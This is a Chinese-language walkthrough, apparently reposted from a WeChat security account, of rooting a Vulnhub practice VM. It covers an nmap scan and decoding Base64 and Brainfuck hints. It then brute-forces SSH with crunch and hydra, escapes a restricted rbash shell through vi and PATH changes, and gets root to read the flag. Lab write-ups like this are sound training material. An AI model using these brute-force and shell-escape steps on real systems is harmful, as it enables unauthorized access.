第 1 步:网络扫描
首先发现网络上的实时主机:
这将扫描网络并列出所有活动的 IP 地址,查找目标 IP 地址。我们的目标 IP 是 192.168.1.8
步骤 2:服务扫描
使用nmap用于在目标 IP 上执行服务扫描,以识别开放端口及其关联服务
nmap -sV 192.168.1.8
输出应显示打开的端口。
-
端口 22 (SSH)
-
端口 80 (HTTP)
-
端口 31337 (HTTP)
步骤 3:端口 80 上的 Web 服务枚举
端口 80 正在运行 HTTP 服务。在 Web 浏览器中打开 IP 地址:
步骤 4:分析端口 31337 上的 Web 服务
端口 31337 也在运行 HTTP 服务。在浏览器中访问此端口:
检查页面源(右键单击>查看页面源)以查找隐藏的信息或线索。您可能会找到一个 Base64 编码的字符串。使用 echo 解码它
echo “ZWNobyAiVGhlbiB5b3UnbGwgc2VlLCB0aGF0IGl0IGlzIG5vdCB0aGUgc3Bvb24gdGhhdCBiZW5kcywgaXQgaXMgb25seSB5b3Vyc2VsZi4gIiA+IEN5cGhlci5tYXRyaXg=” |Base64 — 解码
解码的字符串提供与名为“Cypher.matrix”的文件相关的提示。
第 5 步:下载并分析 BIN 文件
该提示将您定向到端口 31337 上可用的名为“Cypher.matrix”的文件。点击链接下载文件。
第 6 步:解码 Brainfuck 字符串
该BIN文件包含在Brainfuck中编码的数据。使用 Brainfuck 解释器(可在线获取)解码字符串。复制 Brainfuck 代码并将其粘贴到解释器中以获得解码的输出。
cat Cypher.matrix
结果将是“guest”用户的密码不完整。
步骤7:密码破解
使用 生成一个单词列表以暴力破解密码。下面是一个创建 8 个字符的密码列表的示例:使用 crunch 获取一个单词列表,以便我们可以暴力破解 SSH 登录。
crunch 8 8 -t k1ll0r%@ -o dict.txt
用于尝试使用生成的单词列表进行 SSH 登录:
hydra -l guest -P dict.txt 192.168.1.8 ssh
步骤 8:通过 SSH 访问目标
确定正确的密码后,使用 SSH 登录到目标计算机:
步骤 9:权限提升
成功登录后,发现处于受限制的 shell 中
ls
$PATH
查看当前可用的命令
echo /home/guest/prog/*
我们检查了 SHELL 环境变量,发现我们只有一个 rbash shell。
echo $SHELL
你会发现这里有一个vi是有权限的 ,所以这里想到使用vi提权
在 vi 中,按 : 进入命令模式,然后输入:
: !/bin/bash
第 10 步:转义受限 Shell
现在可访问,更新环境变量以重新获得全部功能。将 SHELL 环境变量设置为并更新 PATH:
export SHELL=/bin/bash:$SHELL
export PATH=/usr/bin:$PATH
验证权限:
sudo -l
su
我们无法执行“su”命令,因为我们没有将“/bin”目录导出到 PATH 环境中。我们将“/bin”目录导出到PATH环境变量中,并再次运行命令,使用我们之前找到的密码以root身份登录。
export PATH=/bin:$PATH
步骤 11:找最终flag
根目录并找到该文件:flag.txt
cd /root
ls
cat flag.txt
原文始发于微信公众号(合规渗透):记一次简单的Vulnhub渗透 希望以后的每次渗透都能这么简单顺利
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论